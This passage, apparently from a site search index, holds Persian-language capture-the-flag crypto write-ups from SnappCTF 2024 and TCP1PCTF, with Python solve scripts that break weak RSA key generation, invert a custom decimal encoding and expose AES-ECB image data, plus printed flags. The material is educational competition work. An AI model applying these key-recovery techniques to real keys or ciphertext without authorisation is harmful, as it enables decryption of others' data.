\u0633\u0631\u0648\u0631 \u0628\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06cc\u06a9 seed\u060c \u0627\u0639\u062f\u0627\u062f \u0627\u0648\u0644 \u0645\u0648\u0631\u062f\u0646\u06cc\u0627\u0632 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc RSA \u0631\u0627 \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc \u06a9\u0646\u062f. \u0628\u0627 \u062a\u062d\u0644\u06cc\u0644 \u06a9\u062f \u0645\u06cc \u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 \u0648 \u0637\u0648\u0644 seed \u0631\u0648\u06cc \u0645\u062a\u063a\u06cc\u0631\u0647\u0627\u06cc w ,u (\u062e\u0637\u200c\u0647\u0627\u06cc 19 \u062a\u0627 21) \u062a\u0627\u062b\u06cc\u0631 \u062f\u0627\u0631\u0647 \u0648 \u062f\u0631 \u0627\u062f\u0627\u0645\u0647\u200c\u0627\u0634 \u0631\u0648\u06cc \u0645\u0642\u062f\u0627\u0631 p (\u062e\u0637 24) \u0627\u062b\u0631 \u062f\u0627\u0631\u0647. \u067e\u0633 \u0628\u0627\u06cc\u062f \u0637\u0648\u0644\u0627\u0646\u06cc \u062a\u0631\u06cc\u0646 \u0648 \u06a9\u0645 \u0627\u0631\u0632\u0634 \u062a\u0631\u06cc\u0646 \u062d\u0627\u0644\u062a \u0645\u0645\u06a9\u0646 \u0628\u0631\u0627\u06cc seed \u062f\u0631 \u0646\u0638\u0631 \u0628\u06af\u06cc\u0631\u06cc\u0645 \u062a\u0627 \u0627\u0646\u062f\u0627\u0632\u0647 \u0627\u0639\u062f\u0627\u062f \u0627\u0648\u0644 \u062a\u0627 \u062c\u0627\u06cc \u0645\u0645\u06a9\u0646 \u06a9\u0648\u0686\u06a9 \u0628\u0634\u0647. \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u06a9\u062f \u0633\u0631\u0648\u0631 \u062d\u062f\u0627\u06a9\u062b\u0631 \u0637\u0648\u0644 \u06a9\u0647 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0631\u0627\u06cc \u0633\u0631\u0648\u0631 \u0628\u0641\u0631\u0633\u062a\u06cc\u0645 60 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 hex (\u062e\u0637 42) \u0627\u0633\u062a \u0627\u0645\u0627 \u062f\u0631 \u0627\u062f\u0627\u0645\u0647\u200c\u06cc \u06a9\u062f \u0686\u0648\u0646 \u0627\u06cc\u0646 \u0637\u0648\u0644 \u0628\u0627\u0639\u062b \u0645\u06cc \u0634\u0648\u062f \u0645\u0642\u062f\u0627\u0631 m \u0627\u0632n \u0628\u0632\u0631\u06af\u062a\u0631 \u0634\u0648\u062f \u0628\u0627\u06cc\u062f \u062a\u0639\u062f\u0627\u062f \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631\u06cc \u06a9\u0627\u0647\u0634 \u062f\u0647\u06cc\u0645 \u0648 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u06cc\u0645. \u067e\u0633 \u0628\u0627 \u0633\u0639\u06cc \u0648 \u062e\u0637\u0627 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0628\u0647\u062a\u0631\u06cc\u0646 \u062d\u0627\u0644\u062a \u0628\u0631\u0627\u06cc seed \u06cc\u06a9 \u0631\u0634\u062a\u0647 hex \u0628\u0627 \u0637\u0648\u0644 \u062d\u062f\u0648\u062f 50 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 hex \u0627\u0633\u062a \u0648 \u0628\u0647\u062a\u0631\u06cc\u0646 \u0645\u0642\u062f\u0627\u0631 0 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0627 \u0639\u062b \u0635\u0641\u0631 \u0634\u062f\u0646 \u0645\u062a\u063a\u06cc\u0631\u0647\u0627\u06cc v, u \u0645\u06cc \u0634\u0648\u062f.

seed='0'*50\n

\u067e\u0633 \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u0627\u06cc\u0646 \u0645\u0642\u062f\u0627\u0631 \u0628\u0647 \u0633\u0631\u0648\u0631 \u06a9\u0627\u0631\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u06a9\u0648\u0686\u06a9\u062a\u0631\u06cc\u0646 \u062d\u0627\u0644\u062a \u0645\u0645\u06a9\u0646 \u0628\u0631\u0627\u06cc \u067e\u06cc\u0645\u0627\u0646\u0647 n \u062a\u0648\u0644\u06cc\u062f \u0634\u0648\u062f.

\u0628\u0627\u062a\u0648\u062c\u0647 \u0639\u06a9\u0633 \u0628\u0627\u0644\u0627 \u0628\u0646\u0638\u0631 \u0645\u0642\u062f\u0627\u0631 n \u0642\u0627\u0628\u0644 \u062a\u062c\u0632\u06cc\u0647 (factorzation) \u0627\u0633\u062a. \u0627\u0648\u0644 \u0633\u0627\u06cc\u062a factodb \u0686\u06a9 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0641\u0627\u06a9\u062a\u0648\u0631 \u0647\u0627\u06cc \u0622\u0646 \u062f\u0631 \u0633\u0627\u06cc\u062a \u0646\u0628\u0648\u062f \u067e\u0633 \u0628\u0627 \u0627\u0628\u0632\u0627\u0631 yafu \u0645\u0642\u062f\u0627\u0631\u0647\u0627\u06cc p \u0648 q \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u06cc\u0645.

\u0628\u0639\u062f \u0627\u0632 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 p \u0648 q\u060c \u0645\u0642\u062f\u0627\u0631 c \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u062f \u0632\u06cc\u0631 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0645\u06cc \u06a9\u0646\u06cc\u0645 \u0648 \u0641\u0644\u06af \u0628\u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u0645:

solve.py
from Crypto.Util.number import *\np=967779994343424298972799836410726382421\nq=1906290831706106101563543378153882219493\nc=561549521363482185023346141805060013137561099778218746283913794237812517123464\ne=65537\nn=p*q\nphi=(p-1)*(q-1)\nd=pow(e,-1,phi)\nprint(long_to_bytes(pow(c,d,n)))\n
FLAG

SNAPP{b3Y0nd_4Ny_FoRM_1n_8lEx!?}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["SnappCTF","SnappCTF-2024","Crypto","Seed","Factorzation","Yufu"]},{"location":"crypto/writeups/SnappCTF/Bombastic/","title":"\u0686\u0627\u0644\u0634 Bombastic","text":"","tags":["SnappCTF","SnappCTF-2024","Crypto","RSA","RSA-keygen"]},{"location":"crypto/writeups/SnappCTF/Bombastic/#_1","title":"\u0646\u06af\u0627\u0647 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0647 \u0633\u0648\u0627\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0627\u0632 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc RSA \u0628\u0631\u0627\u06cc \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc \u0641\u0644\u06af \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0648 \u0645\u0627 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0637\u0631\u06cc\u0642\u06cc \u0628\u062a\u0648\u0646\u06cc\u0645 \u0645\u062a\u0646 \u0631\u0645\u0632\u0634\u062f\u0647 \u0631\u0648 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0647 \u0641\u0644\u06af \u0628\u0631\u0633\u06cc\u0645.

\u0628\u06cc\u0627\u06cc\u0645 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647 \u062a\u0648\u0627\u0628\u0639 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0633\u0648\u0627\u0644 \u0628\u0646\u062f\u0627\u0632\u06cc\u0645

","tags":["SnappCTF","SnappCTF-2024","Crypto","RSA","RSA-keygen"]},{"location":"crypto/writeups/SnappCTF/Bombastic/#check","title":"\u062a\u0627\u0628\u0639 check:","text":"

\u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u06cc\u06a9 \u0639\u062f\u062f \u0648\u0631\u0648\u062f\u06cc \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0628\u0631\u0627\u0633\u0627\u0633 \u06cc\u06a9\u0633\u0631\u06cc \u0641\u0639\u0644 \u0648 \u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0632 \u0639\u062f\u062f \u0648\u0631\u0648\u062f\u06cc\u060c \u06cc\u06a9 \u0644\u06cc\u0633\u062a \u0627\u0632 \u0627\u0639\u062f\u0627\u062f \u0627\u0648\u0644 (\u062f\u0631\u0635\u0648\u0631\u062a \u0627\u0645\u06a9\u0627\u0646) \u0628\u0631\u0645\u06cc\u06af\u0631\u062f\u0648\u0646\u0647

def check(n):\n    sn = str(n)\n    l, P = len(str(n)), []\n    for i in range(1, l - 1):\n        for j in range(i + 1, l):\n            g, e, a = int(sn[:i]), int(sn[i:j]), int(sn[j:])\n            if isPrime(g ** e + a):\n                P.append(g ** e + a)\n            if isPrime(g** e - a):\n                P.append(g ** e - a)\n    return P\n
","tags":["SnappCTF","SnappCTF-2024","Crypto","RSA","RSA-keygen"]},{"location":"crypto/writeups/SnappCTF/Bombastic/#keygen","title":"\u062a\u0627\u0628\u0639 keygen:","text":"

\u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0628\u0631\u0627\u06cc \u062a\u0648\u0644\u06cc\u062f \u0639\u062f\u062f \u0627\u0648\u0644 \u062d\u062f\u0627\u0642\u0644 \u0628\u0647 \u0637\u0648\u0644 nbit \u0647\u0633\u062a\u0634. \u0628\u062e\u0627\u06cc\u0645 \u06cc\u06a9\u0645 \u0639\u0645\u06cc\u0642 \u062a\u0631 \u0628\u0647 \u062a\u0627\u0628\u0639 \u0646\u06af\u0627\u0647\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 :

  1. \u062f\u0631\u0648\u0646 \u062d\u0644\u0642\u0647 while True \u0645\u06cc\u0627\u062f \u06cc\u06a9 \u0639\u062f\u062f 18 \u0628\u06cc\u062a\u06cc \u0645\u06cc\u0633\u0627\u0632\u0647 (r)
  2. \u0628\u0647 \u062a\u0627\u0628\u0639 check \u067e\u0627\u0633\u0634 \u0645\u06cc\u062f\u0647.
  3. \u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u06a9\u0647 \u0644\u06cc\u0633\u062a \u062e\u0631\u0648\u062c\u06cc\u0634 \u062e\u0627\u0644\u06cc \u0646\u0628\u0627\u0634\u0647\u060c \u0645\u06cc\u0627\u062f \u0633\u0648\u0631\u062a\u0634 \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u0627\u062e\u0631\u06cc\u0646 \u0622\u06cc\u062a\u0645 \u0644\u06cc\u0633\u062a \u0631\u0648 \u0627\u0646\u062a\u062e\u0627\u0628 \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u062a\u0648 \u0645\u062a\u063a\u06cc\u0631 p \u0630\u062e\u06cc\u0631\u0647 \u0645\u06cc\u06a9\u0646\u0647 (\u0628\u0647 \u0646\u0648\u0639\u06cc \u062f\u0627\u0631\u0647 \u0628\u0632\u0631\u06af\u062a\u0631\u06cc\u0646 \u0639\u062f\u062f \u0627\u0648\u0644 \u0644\u06cc\u0633\u062a \u062e\u0631\u0648\u062c\u06cc \u0631\u0648 \u0627\u0646\u062a\u062e\u0627\u0628 \u0645\u06cc\u06a9\u0646\u0647)
  4. \u0633\u067e\u0633 \u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u06a9\u0647 \u0639\u062f\u062f \u0627\u0648\u0644 \u062c\u062f\u0627 \u0634\u062f\u0647 \u0637\u0648\u0644\u0634 \u062d\u062f\u0627\u0642\u0644 nbit \u0628\u0627\u0634\u0647 \u0628\u0631\u0627\u0645\u0648\u0646 \u0628\u0631\u0645\u06cc\u06af\u0631\u062f\u0648\u0646\u0647 \u0648\u06af\u0631\u0646\u0647 \u062f\u0648\u0628\u0627\u0631\u0647 \u0627\u06cc\u0646 \u0631\u0648\u0646\u062f \u062a\u06a9\u0631\u0627\u0631 \u0645\u06cc\u0634\u0647
def keygen(nbit):\n    while True:\n        r = getRandomNBitInteger(18)\n        if len(check(r)) != 0:\n            cr = check(r)\n            cr.sort()\n            p = cr[-1]\n            if p.bit_length() >= nbit:\n                return r, p\n
","tags":["SnappCTF","SnappCTF-2024","Crypto","RSA","RSA-keygen"]},{"location":"crypto/writeups/SnappCTF/Bombastic/#_2","title":"\u0631\u0648\u0634 \u062d\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0627\u0632 \u06cc\u06a9 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u063a\u06cc\u0631\u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f (\u062a\u0627\u0628\u0639 keygen) \u0628\u0631\u0627\u06cc \u062a\u0648\u0644\u06cc\u062f \u0639\u062f\u062f \u0627\u0648\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u062f\u0631\u0633\u062a\u0647 \u0627\u0639\u062f\u0627\u062f \u0627\u0648\u0644 \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 256 \u0628\u06cc\u062a\u06cc \u0647\u0633\u062a\u0646\u062f\u060c \u0648\u0644\u06cc \u0627\u0632 \u0639\u062f\u062f 18 \u0628\u06cc\u062a\u06cc r \u0645\u0634\u062a\u0642 \u0634\u062f\u0647 \u0627\u0646\u062f. \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0627\u06af\u0647 \u0628\u06cc\u0627\u06cc\u0645 \u0631\u0648\u06cc \u0645\u062a\u063a\u06cc\u0631 r \u06cc\u06a9 \u0628\u0631\u0648\u062a \u0641\u0648\u0631\u0633 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645\u060c \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0641\u0627\u06a9\u062a\u0648\u0631\u0647\u0627\u06cc n \u0631\u0648 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0645 \u0648 \u0641\u0644\u06af \u0631\u0645\u0632 \u0634\u062f\u0647 \u0631\u0648 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u0645\ud83d\ude01\ud83d\ude0e

def check(n):\n    sn = str(n)\n    l, P = len(str(n)), []\n    for i in range(1, l - 1):\n        for j in range(i + 1, l):\n            g, e, a = int(sn[:i]), int(sn[i:j]), int(sn[j:])\n            if isPrime(g ** e + a):\n                P.append(g ** e + a)\n            if isPrime(g** e - a):\n                P.append(g ** e - a)\n    return P\n\nfor i in range(1, 2**17):\n    r = 2**17 + i\n    if len((cr:=check(r))) != 0:\n        cr.sort()\n        p = cr[-1]\n        if p.bit_length() >= 256:\n            if n%p==0:\n                break\n\n# p = 259117086013202627776246767922441530941818887553125427303974923161874019266586362086201209516800483406550695241733194177441689509238807017410377709597512042313066624082916353517952311186154862265604547691127595848775610568757931191017711408826252153849035830401185072116424747461823031471398340229288074545677907941037288235820705892351068433882986888616658650280927692080339605869308790500409503709875902119018371991620994002568935113136548829739112656797303241986517250116412703509705427773477972349821676443446668383119322540099648994051790241624056519054483690809616061625743042361721863339415852426431208737266591962061753535748892894599629195183082621860853400937932839420261866586142503251450773096274235376822938649407127700846077124211823080804139298087057504713825264571448379371125032081826126566649084251699453951887789613650248405739378594599444335231188280123660406262468609212150349937584782292237144339628858485938215738821232393687046160677362909315071\nq = n//p\ne = 0x10001\nphi=(p-1)*(q-1)\nd=pow(e,-1,phi)\nprint(long_to_bytes(pow(enc,d,n)))\n
FLAG

SNAPP{B0m84S7!C_Pr1m3_9EneR4T!0N!!!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["SnappCTF","SnappCTF-2024","Crypto","RSA","RSA-keygen"]},{"location":"crypto/writeups/SnappCTF/Cryptos/","title":"\u0686\u0627\u0644\u0634 Cryptos","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u06a9\u062f \u0632\u06cc\u0631 \u0647\u0645\u0631\u0627\u0647 \u0628\u0627 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u062d\u0627\u0648\u06cc \u0645\u062a\u0646 \u06a9\u062f \u0634\u062f\u0647 c \u062f\u0627\u062f\u0647 \u0634\u062f\u0647:

cryptos.py
from decimal import *\nfrom Crypto.Util.number import *\nfrom flag import flag\n\ndef encode(n, p):\n    getcontext().prec = p + len(str(n)) + 2\n    x, y = Decimal(n), Decimal(1)\n    r = Decimal(10) ** Decimal(-p)\n    while x >= r + y:\n        x = (x + y) / 2\n        y = n / x\n    result = str(round(x - (r / 2), p)).replace('.', '')[::-1]\n    return result\n\ndef encrypt(msg, n):\n    assert n >= 2\n    m = n * bytes_to_long(msg)\n    c = encode(m, p).lstrip('0')\n    return c\n\nglobal p\np = 1024\nn = getRandomNBitInteger(p >> 6)\nc = encrypt(flag, n)\nprint(f'c = {c}')\n
c = 5045178894357626075431384420860360647034114401723872009235472900716359915220507491073960091678247276121410336208043903213023270852375878447784137648224298070437468162688759757920721723781604874151511572882769621941513872944171938170800255953999521262507633248122058585326636562475057264132441892290385234155811673238225858794265110896113943435633328964169010801463217935967353264871894098875705195581754210881067786818256285938683517110450003983693265702180080692280190636422223594905498601205618208238650519192521153660957941553495169629553425307135627310090665836554328620333233651748363605006405700561070148067374204713428800371202120708720303368873063856187395746236050232433322757367599705756026681249243491427692831512293583163552663661247047141621453850846452005560242532098020050458041224274532870717854358073569467859182280543593485795867269334718276231423506951784977870960076921603401799962900400216905993065516167476079796078242649399762978533503541077936264107413956207423841535073828559129349967201715665207852577917834390795702440085535969037233161141789375751\n

\u0627\u06cc\u0646 \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u06a9\u062f\u06a9\u0631\u062f\u0646 \u0627\u0633\u062a \u06a9\u0647 \u06cc\u06a9 \u0645\u062a\u0646 (flag) \u0631\u0648 \u0628\u0647 \u06a9\u062f c \u062a\u0628\u062f\u06cc\u0644 \u0645\u06cc \u06a9\u0646\u0647. \u0628\u0631\u0627\u06cc \u062d\u0644 \u0686\u0627\u0644\u0634\u060c \u0647\u062f\u0641 \u0627\u0635\u0644\u06cc \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 n \u0627\u0633\u062a \u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 \u0622\u0646 \u0628\u0631\u0627\u0628\u0631 n=x*y \u0627\u0633\u062a. \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u0645\u0642\u062f\u0627\u0631 x \u0627\u0632 \u0631\u0648\u06cc \u0645\u0642\u062f\u0627\u0631 c \u0633\u0627\u062f\u0647 \u0627\u0633\u062a \u0627\u0645\u0627 \u0645\u0633\u0626\u0644\u0647 \u0645\u0647\u0645 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 y \u0627\u0633\u062a. \u0628\u0627 \u062a\u062d\u0644\u06cc\u0644 \u06a9\u062f \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 x \u0648 y \u062f\u0631 \u0645\u0648\u0642\u0639 \u062e\u0631\u0648\u062c \u0627\u0632 \u062d\u0644\u0642\u0647\u060c \u0627\u0639\u062f\u0627\u062f \u0627\u0639\u0634\u0627\u0631\u06cc \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u0642\u0633\u0645\u062a \u0635\u062d\u06cc\u062d \u0622\u0646 \u0647\u0627 \u06cc\u06a9\u0633\u0627\u0646 \u0627\u0633\u062a. \u067e\u0633 \u0645\u0642\u062f\u0627\u0631 n=x^2. \u062d\u0627\u0644\u0627 \u0627\u0632 \u0631\u0648\u06cc c \u0628\u0627 \u0645\u0639\u06a9\u0648\u0633 \u06a9\u0631\u062f\u0646 \u062e\u0637 12 \u0628\u0647 x (\u0628\u0627 \u062a\u0646\u0638\u06cc\u0645 \u062f\u0642\u062a \u0645\u062d\u0627\u0633\u0628\u0647 \u0631\u0648\u06cc 1033)\u0645\u06cc \u0631\u0633\u06cc\u0645 \u0648 \u0645\u0642\u062f\u0627\u0631 n \u0628\u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u0645. \u0628\u0642\u06cc\u0647 \u0645\u0631\u0627\u062d\u0644\u060c \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u062f \u0632\u06cc\u0631 \u0628\u0647 \u0641\u0644\u06af \u0645\u06cc \u0631\u0633\u06cc\u0645.

solve.py
from decimal import *\nfrom Crypto.Util.number import *\n\ngetcontext().prec = 1033\nc = 5045178894357626075431384420860360647034114401723872009235472900716359915220507491073960091678247276121410336208043903213023270852375878447784137648224298070437468162688759757920721723781604874151511572882769621941513872944171938170800255953999521262507633248122058585326636562475057264132441892290385234155811673238225858794265110896113943435633328964169010801463217935967353264871894098875705195581754210881067786818256285938683517110450003983693265702180080692280190636422223594905498601205618208238650519192521153660957941553495169629553425307135627310090665836554328620333233651748363605006405700561070148067374204713428800371202120708720303368873063856187395746236050232433322757367599705756026681249243491427692831512293583163552663661247047141621453850846452005560242532098020050458041224274532870717854358073569467859182280543593485795867269334718276231423506951784977870960076921603401799962900400216905993065516167476079796078242649399762978533503541077936264107413956207423841535073828559129349967201715665207852577917834390795702440085535969037233161141789375751\n\na = str(c)[::-1]\nk = len(a)-1024\n\nr = Decimal(10) ** Decimal(-1024)\n\nx = Decimal(f\"{a[:k]}.{a[k:]}\") + (r / 2)\nn = int(x**2)\n\nfor i in range(1, 2**16):\n    if n%i==0 :\n        if (msg:=long_to_bytes(n//i)).startswith(b'SNAPP'):\n            print(msg)\n
FLAG

SNAPP{acCUr4cY4nd_pr3cI5iOn!n_Pyth0n!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u06af\u0627\u0646

HIGHer \u060cmheidari98

","tags":["SnappCTF","SnappCTF-2024","Crypto","Encoding","Decimal number"]},{"location":"crypto/writeups/SnappCTF/mascot/","title":"Mascot","text":"

\u062a\u0648 \u0627\u06cc\u0646 \u0686\u0644\u0646\u062c \u06cc\u0647 \u0641\u0627\u06cc\u0644 \u0628\u0634 \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0628\u0647 \u0645\u0627 \u0645\u06cc\u0641\u0647\u0645\u0648\u0646\u0647 \u0627\u0646\u06a9\u0631\u06cc\u067e\u0634\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u062a\u0627\u06cc\u067e ECB \u0647\u0633\u062a \u0648 \u0627\u06cc\u0646 \u062a\u0627\u06cc\u067e \u0627\u0632 \u0627\u0646\u06a9\u0631\u06cc\u067e\u0634\u0646 AES \u06cc\u0647 \u0628\u0627\u06af (\u06a9\u0647 \u0627\u0644\u0628\u062a\u0647 \u0641\u06cc\u0686\u0631 \u0647\u0645 \u0647\u0633\u062a ) \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0628\u0627\u06af \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0628\u062a\u0648\u0646\u06cc\u0645 \u0641\u0644\u06af \u0631\u0648 \u0628\u062e\u0648\u0646\u06cc\u0645

\u0645\u0639\u0631\u0648\u0641 \u062a\u0631\u06cc\u0646 \u0639\u06a9\u0633 \u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627 \u0627\u06cc\u0646 \u0628\u0627\u06af \u0627\u06cc\u0646 \u0639\u06a9\u0633\u0647

\u0641\u0631\u0645\u062a ppm \u0628\u0647 \u0635\u0648\u0631\u062a\u06cc \u0647\u0633\u062a \u06a9\u0647 3 \u062e\u0637 \u0627\u0648\u0644 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0647\u062f\u0631 \u062a\u0639\u0631\u06cc\u0641 \u0645\u06cc\u0634\u0646 \u0645\u0627 \u0628\u0627 \u062e\u0637 \u062f\u0648\u0645 \u06a9\u0627\u0631 \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0631\u0632\u0648\u0644\u0648\u0634\u0646 \u0647\u0633\u062a

\u06cc\u0647 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0645\u06cc\u0646\u0648\u06cc\u0633\u06cc\u0645 \u06a9\u0647 \u0628\u06cc\u0627\u062f \u0631\u0632\u0648\u0644\u0648\u0634\u0646 \u0631\u0648 \u0628\u0631\u0648\u062a \u0641\u0648\u0631\u0633 \u06a9\u0646\u06cc\u0645

\u062a\u0648 \u06cc\u0647 \u0631\u0627\u06cc\u062a\u0627\u067e \u062f\u06cc\u06af\u0647 \u062a\u0648 \u0647\u0645\u06cc\u0646 \u0628\u0644\u0627\u06af \u0627\u0634\u0627\u0631\u0647 \u06a9\u0631\u062f\u0645 \u06a9\u0647:

\u067e\u06cc\u06a9\u0633\u0644 \u0647\u0627\u06cc \u062a\u0635\u0627\u0648\u06cc\u0631 \u0627\u0632 \u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a \u062a\u06a9\u0645\u06cc\u0644 \u0645\u06cc\u0634\u0646 \u0648 \u0627\u0631\u062a\u0641\u0627\u0639 \u062a\u0627\u062b\u06cc\u0631\u06cc \u062f\u0631 \u067e\u06cc\u06a9\u0633\u0644 \u0647\u0627 \u0648 \u062a\u0631\u062a\u06cc\u0628\u0634\u0648\u0646 \u0646\u062f\u0627\u0631\u0647

\u067e\u0633 \u0645\u0627 \u0641\u0642\u0637 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 x \u0631\u0648 \u062a\u063a\u06cc\u06cc\u0631 \u0628\u062f\u06cc\u0645 =)))

\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0628\u062f\u06cc\u0646 \u0635\u0648\u0631\u062a \u0627\u0633\u062a

b = open(\"flag.enc\", \"rb\").read()\n\nbase = \"\"\"P6\n{} {}\n65535\n\"\"\"\ny = 100\nfor x in range(1000):\n    with open(\"res/{}x{}.png\".format(x,y), 'wb') as f:\n        f.write(base.format(x,y).encode() + b)\n

\u0628\u0639\u062f \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a\u060c \u0641\u0644\u06af \u062f\u0631 \u0631\u0632\u0648\u0644\u0648\u0634\u0646 740x100.png \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u0634\u0648\u062f

","tags":["SnappCTF","SnappCTF-2024","Crypto","AES-ECB","ECB mode"]},{"location":"crypto/writeups/SnappCTF/mascot/#_1","title":"Mascot","text":"

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Crypto","AES-ECB","ECB mode"]},{"location":"crypto/writeups/TCP1PCTF/Final_Consensus/","title":"\u0686\u0627\u0644\u0634 Final_Consensus","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0639\u062f \u0627\u0632 \u0648\u0635\u0644 \u0634\u062f\u0646 \u0628\u0647 \u0633\u0631\u0648\u0631 \u06cc\u06a9 \u0631\u0634\u062a\u0647 hex \u06a9\u0647 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0641\u0644\u06af \u0631\u0645\u0632 \u0634\u062f\u0647 \u0627\u0633\u062a \u0631\u0627 \u0628\u0647 \u0645\u0627 \u0646\u0645\u0627\u06cc\u0634 \u0645\u06cc \u062f\u0647\u062f \u0648 \u0633\u067e\u0633 \u0627\u0632 \u0627\u0645\u0627 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0648\u0627\u0631\u062f \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u067e\u06cc\u0627\u0645 \u0631\u0627 \u0645\u06cc \u06a9\u0646\u062f \u06a9\u0647 \u0628\u0639\u062f \u0627\u0632 \u0627\u0631\u0633\u0627\u0644\u060c \u062f\u0631 \u062c\u0648\u0627\u0628 \u0645\u0639\u0627\u062f\u0644 \u0631\u0645\u0632\u0634\u062f\u0647 \u0622\u0646 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a hex \u0645\u0627\u0646\u0646\u062f \u0632\u06cc\u0631 \u0628\u0631\u0645\u06cc \u06af\u0631\u062f\u0627\u0646\u062f.

>nc ctf.tcp1p.com 35257\nAlice: My message 1c57bd307f4b7f05cb732f4ae7ba8b91a2de2682c4b6d10d86ae649eb656e812b5400f773e8b57fa68e188d33191320b51566d00f8dde9e4265160d399d02db0e4464d08542c3cba1280226994e2d5c6\nAlice: Now give me yours!\n> a\nSteve:  be754ecefff84bcc8f145070a59ce039\nAlice: Agree.\n

